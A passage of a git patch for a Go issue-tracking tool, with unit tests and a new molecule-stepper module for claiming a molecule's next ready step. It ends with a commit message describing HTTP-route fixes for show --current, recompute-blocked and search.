TestCompletedMoleculeReadsOnlyTheStepsItMust(t *testing.T) { + ctx := context.Background() + for _, tc := range []struct { + name string + rootType types.IssueType + status types.Status + }{ + {"ordinary epic", types.TypeEpic, types.StatusOpen}, + {"closed molecule root", types.TypeMolecule, types.StatusClosed}, + } { + t.Run(tc.name, func(t *testing.T) { + f := newFakeMolecules() + f.add("r", tc.rootType, tc.status) + for _, id := range []string{"r.1", "r.2"} { + f.add(id, types.TypeTask, types.StatusClosed) + f.edge(id, "r", types.DepParentChild) + } + root, err := issueops.CompletedMolecule(ctx, f.reader(), "r.1") + if err != nil || root != nil { + t.Fatalf("CompletedMolecule = %v, %v, want nil, nil", root, err) + } + if len(f.related) != 0 { + t.Errorf("steps read %v, want none: this root never auto-closes", f.related) + } + }) + } + + // r.1 is open; r.2 and r.3 are closed and have steps of their own. The + // walk answers at r.1 without reading below r.2 or r.3. + f := newFakeMolecules() + f.add("r", types.TypeMolecule, types.StatusOpen) + f.add("r.1", types.TypeTask, types.StatusOpen) + f.edge("r.1", "r", types.DepParentChild) + for _, id := range []string{"r.2", "r.3"} { + f.add(id, types.TypeTask, types.StatusClosed) + f.edge(id, "r", types.DepParentChild) + f.add(id+".1", types.TypeTask, types.StatusClosed) + f.edge(id+".1", id, types.DepParentChild) + } + root, err := issueops.CompletedMolecule(ctx, f.reader(), "r.2") + if err != nil || root != nil { + t.Fatalf("CompletedMolecule = %v, %v, want nil, nil (r.1 is open)", root, err) + } + if !slices.Equal(f.related, []string{"r"}) { + t.Errorf("steps read %v, want only r's: r.1 is open, so nothing below r is read", f.related) + } +} + +// MoleculeStepsClosed covers every descendant, not just the direct steps, and a +// parent-child cycle terminates. +func TestMoleculeStepsClosedCoversEveryDescendant(t *testing.T) { + ctx := context.Background() + f := newFakeMolecules() + f.add("r", types.TypeMolecule, types.StatusOpen) + f.add("r.1", types.TypeTask, types.StatusClosed) + f.edge("r.1", "r", types.DepParentChild) + f.add("r.1.1", types.TypeTask, types.StatusOpen) + f.edge("r.1.1", "r.1", types.DepParentChild) + if closed, err := issueops.MoleculeStepsClosed(ctx, f.reader(), "r"); err != nil || closed { + t.Errorf("MoleculeStepsClosed with r.1.1 open = %v, %v, want false", closed, err) + } + + f.issues["r.1.1"].Status = types.StatusClosed + f.edge("r", "r.1.1", types.DepParentChild) // a cycle back to the root + f.related = nil + if closed, err := issueops.MoleculeStepsClosed(ctx, f.reader(), "r"); err != nil || !closed { + t.Errorf("MoleculeStepsClosed with every step closed = %v, %v, want true", closed, err) + } + if len(f.related) != 3 { + t.Errorf("steps read %v, want r, r.1 and r.1.1 once each", f.related) + } + + f.relatedErr = errors.New("refused") + if _, err := issueops.MoleculeStepsClosed(ctx, f.reader(), "r"); !errors.Is(err, f.relatedErr) { + t.Errorf("MoleculeStepsClosed with a refused read = %v, want the refusal", err) + } +} + +// The root close's refusals that leave the step's close standing are the close +// policy and the close guards; a lost race on the root's revision is not one. +func TestIsMoleculeAutoCloseRefusalIsPolicyAndGuardsNeverAVersionRace(t *testing.T) { + for _, tc := range []struct { + name string + err error + want bool + }{ + {"live blocker", &issueops.BlockedError{IssueID: "r", Blockers: []issueops.Blocker{{ID: "b"}}, Err: issueops.ErrCloseBlocked}, true}, + {"open children", &issueops.CloseOpenChildrenError{IssueID: "r", OpenChildren: 1}, true}, + {"template root", &issueops.TemplateReadOnlyError{IssueID: "r"}, true}, + {"pinned root", &issueops.PinnedError{IssueID: "r"}, true}, + {"root assigned to someone else", &issueops.CloseNotAssigneeError{IssueID: "r", Assignee: "bob", Actor: "alice"}, true}, + {"wrapped guard", fmt.Errorf("close r: %w", &issueops.CloseNotAssigneeError{IssueID: "r", Assignee: "bob", Actor: "alice"}), true}, + {"lost race on the root revision", issueops.ErrVersionMismatch, false}, + {"typed lost race", &issueops.VersionMismatchError{Expected: 1, Current: 2}, false}, + {"wrapped lost race", fmt.Errorf("close r: %w", &issueops.VersionMismatchError{Expected: 1, Current: 2}), false}, + {"storage failure", errors.New("connection reset"), false}, + {"no error", nil, false}, + } { + if got := issueops.IsMoleculeAutoCloseRefusal(tc.err); got != tc.want { + t.Errorf("%s: IsMoleculeAutoCloseRefusal(%v) = %v, want %v", tc.name, tc.err, got, tc.want) + } + } +} + +func TestMoleculeRootCloseIsUnforcedAndGuardedOnTheRootRevision(t *testing.T) { + root := &issueops.Issue{ID: "r", RowVersion: 41} + got := issueops.MoleculeRootClose(root, "alice", "sess") + if got.ExpectedVersion == nil || *got.ExpectedVersion != 41 || got.Force { + t.Errorf("root close = %+v, want unforced and guarded on the root revision 41", got) + } + if got.IssueID != "r" || got.Reason != issueops.MoleculeAutoCloseReason || got.Session != "sess" || got.Actor != "alice" { + t.Errorf("root close = %+v, want root r, the auto-close reason, the session and the actor", got) + } + root.RowVersion = 42 + if *got.ExpectedVersion != 41 { + t.Error("the guard aliases the root's revision; it must be the revision read") + } +} + +func TestMoleculeStepperClaimsTheNextReadyStepForTheActor(t *testing.T) { + ctx := context.Background() + f := newFakeMolecules() + seedChain(f) + + // Without AutoClaim nothing is written. + res, err := f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "m.a"}) + if err != nil { + t.Fatalf("Advance: %v", err) + } + if res.MoleculeID != "m" || res.Claimed || res.NextStep == nil || res.NextStep.ID != "m.b" || len(f.claimed) != 0 { + t.Fatalf("Advance without a claim = %+v (claimed %v), want next m.b and no claim", res, f.claimed) + } + + res, err = f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "m.a", AutoClaim: true}) + if err != nil { + t.Fatalf("Advance: %v", err) + } + if !res.Claimed || res.NextStep == nil || res.NextStep.ID != "m.b" || res.NextStep.Assignee != "alice" || + res.NextStep.Status != types.StatusInProgress { + t.Fatalf("Advance = %+v, want m.b claimed for alice", res) + } + if !slices.Equal(f.claimed, []string{"m.b"}) || len(f.updated) != 0 { + t.Errorf("claims = %v / updates = %v, want one Claimer claim of m.b", f.claimed, f.updated) + } +} + +// A ready step another actor holds is skipped, never taken; any other claim +// failure is returned rather than read as a lost race. +func TestMoleculeStepperSkipsAHeldStepAndReturnsOtherFailures(t *testing.T) { + ctx := context.Background() + f := newFakeMolecules() + f.add("m", types.TypeMolecule, types.StatusOpen) + for _, id := range []string{"m.1", "m.2"} { + f.add(id, types.TypeTask, types.StatusOpen) + f.edge(id, "m", types.DepParentChild) + } + f.add("m.0", types.TypeTask, types.StatusClosed) + f.edge("m.0", "m", types.DepParentChild) + f.claimErrs["m.1"] = &issueops.ClaimConflictError{Err: issueops.ErrAlreadyClaimed} + + res, err := f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "m.0", AutoClaim: true}) + if err != nil { + t.Fatalf("Advance: %v", err) + } + if !res.Claimed || res.NextStep.ID != "m.2" { + t.Fatalf("Advance = %+v, want m.1 skipped (held) and m.2 claimed", res) + } + + f.issues["m.2"].Status, f.issues["m.2"].Assignee = types.StatusOpen, "" + boom := errors.New("connection reset") + f.claimErrs["m.1"] = boom + if _, err := f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "m.0", AutoClaim: true}); !errors.Is(err, boom) { + t.Fatalf("Advance with a failed claim = %v, want the failure", err) + } + + f.claimErrs["m.1"] = issueops.ErrNotClaimable + f.claimErrs["m.2"] = issueops.ErrAlreadyClaimed + res, err = f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "m.0", AutoClaim: true}) + if err != nil || res.Claimed || res.NextStep == nil || res.NextStep.ID != "m.1" { + t.Fatalf("Advance with every ready step lost = %+v, %v; want no claim and the first ready step named", res, err) + } +} + +func TestMoleculeStepperClaimsAWispStepThroughLifecycle(t *testing.T) { + f := newFakeMolecules() + f.add("w", types.TypeMolecule, types.StatusOpen).Ephemeral = true + f.add("w.1", types.TypeTask, types.StatusClosed).Ephemeral = true + f.add("w.2", types.TypeTask, types.StatusOpen).Ephemeral = true + f.edge("w.1", "w", types.DepParentChild) + f.edge("w.2", "w", types.DepParentChild) + res, err := f.stepper().Advance(context.Background(), issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "w.1", AutoClaim: true}) + if err != nil { + t.Fatalf("Advance: %v", err) + } + if !res.Claimed || !slices.Equal(f.updated, []string{"w.2"}) || len(f.claimed) != 0 { + t.Fatalf("Advance over a wisp = %+v (updates %v, claims %v), want w.2 claimed through Lifecycle", res, f.updated, f.claimed) + } +} + +func TestMoleculeStepperOutsideAMoleculeAndWhenComplete(t *testing.T) { + ctx := context.Background() + f := newFakeMolecules() + f.add("orphan", types.TypeTask, types.StatusClosed) + res, err := f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "orphan", AutoClaim: true}) + if err != nil || res.MoleculeID != "" || res.ClosedStep == nil || res.NextStep != nil { + t.Fatalf("Advance outside a molecule = %+v, %v; want no molecule", res, err) + } + + f.add("m", types.TypeMolecule, types.StatusOpen) + f.add("m.1", types.TypeTask, types.StatusClosed) + f.edge("m.1", "m", types.DepParentChild) + res, err = f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "m.1", AutoClaim: true}) + if err != nil || !res.Complete || res.NextStep != nil { + t.Fatalf("Advance on a complete molecule = %+v, %v; want complete", res, err) + } + + if _, err := f.stepper().Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "absent"}); !errors.Is(err, issueops.ErrNotFound) { + t.Errorf("Advance on an absent step = %v, want ErrNotFound", err) + } + for _, req := range []issueops.AdvanceRequest{{ClosedStepID: "m.1"}, {Actor: "alice"}} { + if _, err := f.stepper().Advance(ctx, req); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Advance(%+v) = %v, want ErrValidation", req, err) + } + } +} + +func TestActiveMoleculeIDsFallsBackToHookedWork(t *testing.T) { + ctx := context.Background() + f := newFakeMolecules() + seedChain(f) + f.issues["m.b"].Status, f.issues["m.b"].Assignee = types.StatusInProgress, "alice" + ids, err := issueops.ActiveMoleculeIDs(ctx, f, f.reader(), "alice") + if err != nil || !slices.Equal(ids, []string{"m"}) { + t.Fatalf("ActiveMoleculeIDs = %v, %v, want [m]", ids, err) + } + + g := newFakeMolecules() + g.add("epic", types.TypeEpic, types.StatusOpen) + g.add("handoff", types.TypeTask, types.StatusHooked).Assignee = "bob" + g.edge("handoff", "epic", types.DepBlocks) + ids, err = issueops.ActiveMoleculeIDs(ctx, g, g.reader(), "bob") + if err != nil || !slices.Equal(ids, []string{"epic"}) { + t.Fatalf("ActiveMoleculeIDs (hooked) = %v, %v, want [epic]", ids, err) + } + ids, err = issueops.ActiveMoleculeIDs(ctx, g, g.reader(), "carol") + if err != nil || len(ids) != 0 { + t.Fatalf("ActiveMoleculeIDs (nobody's work) = %v, %v, want none", ids, err) + } +} diff --git a/issueops/moleculestepper.go b/issueops/moleculestepper.go new file mode 100644 index 000000000..d749cae88 --- /dev/null +++ b/issueops/moleculestepper.go @@ -0,0 +1,209 @@ +package issueops + +import ( + "context" + "errors" + "fmt" +) + +// AdvanceRequest describes moving a molecule on after one of its steps +// closed: the operation behind `bd close --continue`. +type AdvanceRequest struct { + // Actor is who advances. With AutoClaim it becomes the claimed step's + // assignee, exactly as ClaimRequest.Actor does. It must not be empty. + Actor string + // ClosedStepID names the step that closed. It must not be empty, and an + // id that names nothing is ErrNotFound. Nothing requires the step to be + // closed: advancing reads where the molecule stands now. + ClosedStepID string + // AutoClaim claims the next ready step for Actor. Without it the advance + // writes nothing and only names the step. + AutoClaim bool +} + +// AdvanceResult reports where a molecule stands after the advance. +type AdvanceResult struct { + // ClosedStep is the step the request named, as read before any claim. + ClosedStep *Issue + // MoleculeID is the step's molecule root, or "" when the step belongs to + // no molecule — in which case nothing else below is set. + MoleculeID string + // Complete reports that every step of the molecule is closed. NextStep is + // then nil. + Complete bool + // NextStep is the step the advance claimed or, without a claim, the first + // ready step (see MoleculeView.ReadySteps). Nil when no step is ready. + NextStep *Issue + // Claimed reports that the advance claimed NextStep for Actor: NextStep is + // then the post-claim row, in progress and assigned to Actor. + Claimed bool +} + +// MoleculeStepper describes advancing a molecule to its next ready step. Like +// Lifecycle and Claimer it is a role with its own accessor; a new capability +// gets a new role interface, so never append a method here. +// +// THE CLAIM IS A REAL CLAIM. A durable step is claimed through the Claimer +// role and a wisp step through Lifecycle.Update's Claim (the Claimer does not +// serve the wisp plane; both run the one claim compare-and-set). Either way +// the step's assignee becomes Actor and a step another actor holds is refused +// rather than taken. A ready step lost that way — held by someone else, or +// moved out of a claimable status since it was read — is skipped for the next +// ready step; when every ready step is lost the advance claims nothing and +// still reports the first one as NextStep. Any other claim failure is +// returned. +// +// Implementations never mutate the caller's request. Validation failures +// match ErrValidation and write nothing. +type MoleculeStepper interface { + Advance(ctx context.Context, req AdvanceRequest) (AdvanceResult, error) +} + +// MoleculeStepperRoles is the role set the shared stepper is composed over. +type MoleculeStepperRoles struct { + Reader MoleculeReader + Claimer Claimer + Lifecycle Lifecycle +} + +// moleculeStepperSource is the accessor set a store or unit-of-work provider +// offers for the roles NewMoleculeStepper composes. +type moleculeStepperSource interface { + BatchGetter() (BatchGetter, error) + IssueRelations() (Relations, error) + EdgeReader() (EdgeReader, error) + IssueClaimer() (Claimer, error) + IssueLifecycle() (Lifecycle, error) +} + +// MoleculeStepperRolesOf binds the stepper's roles to src's own accessors. +func MoleculeStepperRolesOf(src moleculeStepperSource) (MoleculeStepperRoles, error) { + reader, err := NewMoleculeReader(src) + if err != nil { + return MoleculeStepperRoles{}, err + } + claimer, err := src.IssueClaimer() + if err != nil { + return MoleculeStepperRoles{}, err + } + lifecycle, err := src.IssueLifecycle() + if err != nil { + return MoleculeStepperRoles{}, err + } + return MoleculeStepperRoles{Reader: reader, Claimer: claimer, Lifecycle: lifecycle}, nil +} + +// NewMoleculeStepper is THE MoleculeStepper implementation. Every store +// backend's accessor answers it composed over that backend's own roles. The +// http client's accessor dials the server's issues.advanceMolecule instead, +// where the server's library runs this stepper, and refuses before dialing a +// server that does not advertise the operation; it never composes a copy over +// the client's roles. So every route advances a molecule by one rule. +func NewMoleculeStepper(roles MoleculeStepperRoles) MoleculeStepper { + return moleculeStepper{roles: roles} +} + +type moleculeStepper struct{ roles MoleculeStepperRoles } + +// ValidateAdvanceRequest applies the request rules every MoleculeStepper +// shares. +func ValidateAdvanceRequest(req AdvanceRequest) error { + if req.Actor == "" { + return fmt.Errorf("%w: advance requires an actor", ErrValidation) + } + if req.ClosedStepID == "" { + return fmt.Errorf("%w: advance requires the closed step id", ErrValidation) + } + return nil +} + +func (s moleculeStepper) Advance(ctx context.Context, req AdvanceRequest) (AdvanceResult, error) { + if err := ValidateAdvanceRequest(req); err != nil { + return AdvanceResult{}, err + } + r := s.roles.Reader + if !r.usable() || s.roles.Claimer == nil || s.roles.Lifecycle == nil { + return AdvanceResult{}, fmt.Errorf("%w: molecule stepper is missing a role", ErrValidation) + } + steps, err := getIssues(ctx, r, []string{req.ClosedStepID}) + if err != nil { + return AdvanceResult{}, err + } + closed := steps[req.ClosedStepID] + if closed == nil { + return AdvanceResult{}, fmt.Errorf("%w: issue %s", ErrNotFound, req.ClosedStepID) + } + result := AdvanceResult{ClosedStep: closed} + + rootID, err := MoleculeRoot(ctx, r, req.ClosedStepID) + if err != nil { + return AdvanceResult{}, fmt.Errorf("finding the molecule of %s: %w", req.ClosedStepID, err) + } + if rootID == "" { + return result, nil + } + result.MoleculeID = rootID + + view, err := ViewMolecule(ctx, r, rootID) + if err != nil { + return AdvanceResult{}, fmt.Errorf("loading molecule %s: %w", rootID, err) + } + if view.Complete() { + result.Complete = true + return result, nil + } + ready := view.ReadySteps() + if len(ready) == 0 { + return result, nil + } + result.NextStep = ready[0] + if !req.AutoClaim { + return result, nil + } + for _, candidate := range ready { + claimed, err := s.claimStep(ctx, candidate, req.Actor) + if isLostStepClaim(err) { + continue + } + if err != nil { + return AdvanceResult{}, fmt.Errorf("claiming step %s: %w", candidate.ID, err) + } + result.NextStep = claimed + result.Claimed = true + break + } + return result, nil +} + +// claimStep claims one step for actor and answers its post-claim row, labels +// carried over from the row the view read (the claim answers the bare row). +func (s moleculeStepper) claimStep(ctx context.Context, step *Issue, actor string) (*Issue, error) { + var post *Issue + if step.Ephemeral || step.NoHistory { + res, err := s.roles.Lifecycle.Update(ctx, UpdateRequest{Actor: actor, IssueID: step.ID, Claim: true}) + if err != nil { + return nil, err + } + post = res.Issue + } else { + res, err := s.roles.Claimer.Claim(ctx, ClaimRequest{Actor: actor, IssueID: step.ID}) + if err != nil { + return nil, err + } + post = res.Issue + } + if post == nil { + return step, nil + } + if len(post.Labels) == 0 && len(step.Labels) > 0 { + post.Labels = append([]string(nil), step.Labels...) + } + return post, nil +} + +// isLostStepClaim reports whether a step claim failed because the step is no +// longer this actor's to take: held by another actor, or moved out of a +// claimable status since the view read it. +func isLostStepClaim(err error) bool { + return err != nil && (errors.Is(err, ErrAlreadyClaimed) || errors.Is(err, ErrNotClaimable)) +} From ec55baa425fb0ddcf226bb84ac0114fe028b7189 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 13 Oct 2026 04:12:54 +0000 Subject: [PATCH 236/325] fix(http): bd show --current, recompute-blocked and search over http through issueops entries (S6e/S25/S26) (#7528) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(show): --current through issueops.FindCurrentIssue over the Querier role; no swallowed refusal (S6e) Over http `bd show --current` printed the WRONG issue, exit 0. resolveCurrentIssueID asked the raw SearchIssues method for the actor's in_progress and then hooked work; the http backend refuses that method, the refusal was taken for "nothing found", and the command fell back to the last-touched issue. The proxied route had its own copy of the lookup, read inside its unit of work, with the same swallow. One library entry now: issueops.FindCurrentIssue(ctx, Querier, actor). It asks the Querier role (queryIssues over http, which every deployed server publishes) for `status= AND assignee=""`, limit 1 — exactly the raw filter, answered in the store's default order, so the same row comes first on every backend — in_progress, then hooked. A failed read is an error; "" (two reads that answered and found nothing) is the only miss. The actor is a quoted, escaped query value; the query language reads `assignee=none`/`null` as "unassigned", so such an actor (or an empty one) is not asked about. Both CLI routes call it with their route's Querier (store.Querier() or the proxied provider's) through one cmd/bd helper; what stays in the CLI is the actor and the last-touched fallback (a workspace file). The proxied route resolves --current before it opens its unit of work, and its duplicate in-transaction lookup is deleted. Tests: issueops unit tests (order, failure is an error on either read, quoting, unaskable actors, each expression evaluates to exactly the raw filter); cmd/bd fallback tests; served e2e TestE2E_ShowCurrentOverHTTP (in-progress beats a later-touched issue, hooked when nothing is in progress, last-touched only when neither). Against the old code the e2e fails with exactly the reported bug. Co-Authored-By: Claude Opus 5.5 * fix(recompute-blocked): one library entry, storage.RecomputeBlocked; a no-op on a remote backend (S25) `bd recompute-blocked` refused over http ("storage backend does not support is_blocked recompute"), and gc's BdStore.RecomputeBlocked issues it. is_blocked is server-derived. Every write a remote client makes is committed by the server's own store, which keeps the flag under issueops.BlockedStateInvariant's local-write clause (targeted, inside the write's transaction; a Postgres-family server has no full recompute at all and runs a no-op readiness strategy for the same reason). A client cannot leave the flag stale and holds no copy of it. The invariant's merge clause (a recompute skipped after a pull, bd-6dnrw.37; a migration that over-set it, beads#7037) happens to the SERVER's database, and its repair is this command in the server's workspace. So the decision is in the library, not the CLI: storage.RecomputeBlocked (internal/storage/blocked_recomputer.go) is the one entry every backend goes through. A local store (storage.BlockedRecomputer) recomputes its column; a store implementing storage.ServerMaintainedBlockedState — the http client, whose BlockedStateMaintainedByServer answers true — recomputes nothing and reports MaintainedBy "server". No wire operation: a whole-column rewrite any bearer of a workspace credential could trigger, for state no client can have caused, is not one to publish. The proxied route keeps its pinned-connection plumbing around the same versioncontrolops body the stores run. --json keeps rows_corrected (gc requires the member; wh-bridge-sync reads the exit code) as 0 and adds maintained_by: "server"; the text says where the repair runs. Tests: storage unit tests (local repair runs, server-maintained wins even over a local repair and runs none, neither refuses); served e2e TestE2E_RecomputeBlockedOverHTTP (exit 0, JSON shape, text, ready set unchanged). With the server-maintained branch disabled the e2e fails with the old refusal. Co-Authored-By: Claude Opus 5.5 * feat(search): every bd search route through Reader.List with issueops.SearchListRequest; listIssues `q` behind issues.list.search (S26) `bd search` called the raw SearchIssues method with its text, which the http backend refuses ("partial-id search is not available over HTTP"), and its direct and proxied routes each mapped the flags onto a storage filter by hand. No served operation could carry search's meaning (title OR id contains the text, case-insensitively; an id-shaped text also matches exact id, id prefix and external ref): TitleSearch is title-only and the query language has no title-or-id predicate. The library entry is issueops.Reader.List: - issueops.ListRequest gains Query, SearchIssues' free-text argument as a member. Both Reader bodies (workapi/storereader and the uow reader) pass it to SearchIssuesWithCounts where they passed "". It narrows and lifts no default exclusion; the ready arm refuses it (readyScopeFields). - issueops.SearchListRequest(query) is search's scope as a request: Query, every status (AllFlag), every kind of row (the four Include*), and the store's default order (SortBy priority), so --limit keeps the rows a raw read kept. - CLI: ONE runSearch for the direct, proxied and remote routes. One builder (searchListRequest) maps the flags onto SearchListRequest; the route only picks the reader (store.IssueReader() or the proxied provider's). --sort/--reverse reorder the page as before. search_proxied_server.go and its hand-built filter are deleted, and search leaves the forbidigo filter-writing exemption. - Server: GET /v0/beads/issues decodes `q` into ListRequest.Query and calls the same Reader role, behind the new issues.list.search behavior token (spec parameter cites it; additive, no wire_revision bump; apigen and the wire-shape digest regenerated). - Client: the encoder maps Query to `q`; httpReader.List refuses a request carrying Query BEFORE dialing, with ErrUnsupported{Capability: issues.list.search}, unless the handshake advertises it — never a round trip an old server would 400, never the unsearched listing passed off as the search. CapListSearch mirrors the server token. Flags listIssues publishes nothing for are put on the request so the encoder refuses them rather than widening the search. Tests: Reader contract case RunReaderListQueryMatchesTheTitleOrTheID (also pins SearchListRequest's scope) on all four legs — dolt, embedded dolt, uow, served http (label-scoped, so the served leg runs it as written); handler test that `q` reaches the seam as the search text, not TitleSearch; client tests for `q` and the pre-dial refusal (zero dials); round-trip and vocabulary gates; TestSearchRoutesAgree runs the same twelve flag sets on the direct, proxied and remote routes and requires identical answers (remote is bd serve over the proxied database, so ids and order too); served e2e TestE2E_SearchOverHTTP. The remote legs skip with the SearchIssuesWithCounts refusal until S6c's externaldeps reader passthrough is underneath (loud refusal, never an empty or wrong answer); with S6c cherry-picked all three routes agree. Co-Authored-By: Claude Opus 5.5 * build: resync BUILD srcs and the embedded storage shard manifest for S6e/S25/S26 gazelle picks up cmd/bd/show_current.go, cmd/bd/search_remote.go, the three backend/http e2e files and internal/httpclient/list_search_test.go; the embedded storage shard manifest gains TestEmbeddedReaderListQueryMatchesTheTitleOrTheID (scripts/ci/gen_embedded_storage_shard_manifest.py 15 --weights=duration --write). Co-Authored-By: Claude Opus 5.5 * style: gofmt list_show_filter_modes.go (trailing blank line) Co-Authored-By: Claude Opus 5.5 * test(backend/http/corpus): drop the show --current and recompute-blocked marks S6e and S25 retire With S26 folded in, `bd show --current` resolves through issueops.FindCurrentIssue over the Querier role and `bd recompute-blocked` goes through storage.RecomputeBlocked (a no-op on a remote backend), so gc-show-current and gc-recompute-blocked lose their pending marks. mc-search stays pending, relabelled S6c+SRV-1: bd search now asks listIssues with q behind issues.list.search, which the reference server profile does not advertise, so the client refuses before dialing. Co-Authored-By: Claude Opus 5.5 * test(cmd/bd): split the bd search route agreement into the embedded and proxied lanes TestSearchRoutesAgree skipped unless BEADS_TEST_EMBEDDED_DOLT=1, then ran its proxied and remote legs only under BEADS_TEST_PROXIED_SERVER=1, and its name matched neither lane's discovery (TestEmbedded* in *_embedded_test.go, TestProxiedServer*/TestServerMode*). No CI lane ran it, which main's #7468 guard (TestProxiedGatedTestsRunInTheProxiedLane) now fails on. Split it: - TestEmbeddedSearchRoutesAgree (search_routes_embedded_test.go): the direct route, embedded lane. - TestProxiedServerSearchRoutesAgree (search_routes_proxied_test.go): the proxied route and the remote route (bd serve over the proxied workspace), gated only on BEADS_TEST_PROXIED_SERVER. The remote route must still answer the proxied one row for row, ids and order included, and refuse the flag listIssues cannot carry. Neither lane can run the other's workspace, so the shared helper (search_routes_parity_test.go: the seed, the twelve flag sets, and checkSearchRoute) holds every route to one expected answer per flag set; agreeing with it is agreeing with each other. The remote leg's "needs S6c" skip is gone: S6c is on main, so a refusal now fails. Both manifests regenerated incrementally (embedded 100-shard block, shard 71; proxied 34-shard block, shard 23). Bazel: bd_embedded_part2_test (--config=embedded) and bd_proxied_test (--config=doltserver-proxied) pass and run the new tests; //scripts:go_test_sources_test passes. Swapping the title-sort expectation fails both routes of the proxied test. Co-Authored-By: Claude Opus 5.5 * fix(search): keep an infra type's durable rows, expand --type aliases, fail the S26 e2e on refusal (bd-1ejjv6) Review fixes for #7528, attempt 1: the three majors and three minors of the synthesis. `bd search --type ` dropped the type's durable rows (a promoted wisp, an issue retyped after it was created), exit 0. The shared listing (workapi.BuildListFilter) narrowed an infra --type to its ephemeral rows unconditionally, so SearchListRequest's IncludeEphemeral did not bring back what raw SearchIssues used to return. The narrowing now applies only without IncludeEphemeral, in BuildListFilter and in the count lockstep (applyCountIncludeInfra), and the http parent-walk recognizer reads an infra type's Ephemeral back as the include_ephemeral intent. This also fixes `bd list --type --include-ephemeral` and GET /v0/beads/issues, which shipped the narrowing in v1.3.1. Pinned by workapi tests and by template, gate, wisp and promoted-message rows in the Reader conformance Query case (new ReaderFixture.PromoteWisp) on the dolt, embedded, uow and served backends; the issueops Reader/Counter docs and the openapi descriptions say the same. `bd search --type` handed the raw string to the Reader: an alias (feat, mol, mr, ...) answered nothing and an unknown type an empty result. It is now expanded with utils.NormalizeIssueType as `bd list` does, and an unknown type exits 1. The help text and the CHANGELOG say so, and the CHANGELOG also records the additive comments_omitted field in `bd search --json` rows. TestE2E_SearchOverHTTP skipped on the very SearchIssuesWithCounts refusal it exists to catch; it now fails. The route agreement seeds "kinded" template, gate, wisp and promoted-message rows and pins the alias, the unknown-type refusal and the infra rows on the direct, proxied and remote routes. Minors: the CHANGELOG states the proxied `bd show --current` miss fallback; the CommentsOmitted contract names `bd search --json`; the storage.RecomputeBlocked and `bd recompute-blocked` comments name the deliberate --proxied-server bypass. Validation: go vet and gofmt on every changed package; make api-check; workapi, issueops, httpclient/encode, types and storage unit tests; the Reader conformance on dolt, embedded, uow and served; the embedded and proxied route agreements (remote included), the embedded search tests, TestProxiedServerSearch, TestProxiedServerRecomputeBlocked, the http e2e search/show/recompute tests; docs flag, freshness and docsync checks; and a hand-run bd search/list/count against a scratch workspace. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .github/scripts/embedded-cmd-test-shards.txt | 1 + .../scripts/embedded-storage-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + .golangci.yml | 6 +- CHANGELOG.md | 37 ++ README.md | 9 + backend/conformance/reader_contract.go | 110 +++++ backend/conformance/role_bundle_cases.go | 1 + backend/http/BUILD.bazel | 3 + backend/http/corpus/testdata/corpus.yaml | 4 +- backend/http/e2e_recompute_blocked_test.go | 46 ++ backend/http/e2e_search_test.go | 57 +++ backend/http/e2e_show_current_test.go | 88 ++++ cmd/bd/BUILD.bazel | 5 +- cmd/bd/list_show_filter_modes.go | 50 -- cmd/bd/recompute_blocked.go | 45 +- cmd/bd/search.go | 444 +++++++----------- cmd/bd/search_proxied_server.go | 225 --------- cmd/bd/search_routes_embedded_test.go | 30 ++ cmd/bd/search_routes_parity_test.go | 232 +++++++++ cmd/bd/search_routes_proxied_test.go | 66 +++ cmd/bd/show.go | 5 +- cmd/bd/show_current.go | 52 ++ cmd/bd/show_current_test.go | 164 ++----- cmd/bd/show_proxied_server.go | 16 +- internal/httpapi/apigen/types.gen.go | 15 +- internal/httpapi/reads.go | 3 + internal/httpapi/reads_test.go | 41 +- internal/httpapi/routes.go | 15 +- internal/httpapi/server_test.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 47 +- .../httpapi/wireshape/testdata/golden.json | 8 + internal/httpclient/BUILD.bazel | 2 + internal/httpclient/blocked_recomputer.go | 12 + internal/httpclient/encode/encode.go | 1 + internal/httpclient/encode/parentwalk.go | 21 +- internal/httpclient/encode/parentwalk_test.go | 26 + internal/httpclient/encode/roundtrip_test.go | 1 + internal/httpclient/encode/table.go | 4 + internal/httpclient/list_search_test.go | 67 +++ internal/httpclient/role_reader.go | 28 ++ internal/httpclient/served_reader_test.go | 8 + internal/httpclient/served_test.go | 4 + internal/httpclient/wire/handshake.go | 11 +- internal/httpclient/wire/vocabulary_test.go | 9 +- internal/storage/BUILD.bazel | 2 + internal/storage/blocked_recomputer.go | 70 +++ internal/storage/blocked_recomputer_test.go | 61 +++ internal/storage/dolt/reader_contract_test.go | 7 + .../embeddeddolt/reader_contract_test.go | 7 + internal/storage/uow/issue_reader.go | 2 +- internal/storage/uow/reader_contract_test.go | 8 + internal/types/types.go | 3 +- internal/workapi/count.go | 11 +- internal/workapi/count_test.go | 113 +++-- internal/workapi/list.go | 32 +- internal/workapi/list_ephemeral_test.go | 44 ++ internal/workapi/storereader/reader.go | 2 +- issueops/BUILD.bazel | 5 + issueops/counter.go | 8 +- issueops/current.go | 64 +++ issueops/current_test.go | 154 ++++++ issueops/reader.go | 19 + issueops/reader_ready_scope.go | 1 + issueops/search.go | 33 ++ issueops/search_test.go | 22 + 66 files changed, 1926 insertions(+), 765 deletions(-) create mode 100644 backend/http/e2e_recompute_blocked_test.go create mode 100644 backend/http/e2e_search_test.go create mode 100644 backend/http/e2e_show_current_test.go delete mode 100644 cmd/bd/search_proxied_server.go create mode 100644 cmd/bd/search_routes_embedded_test.go create mode 100644 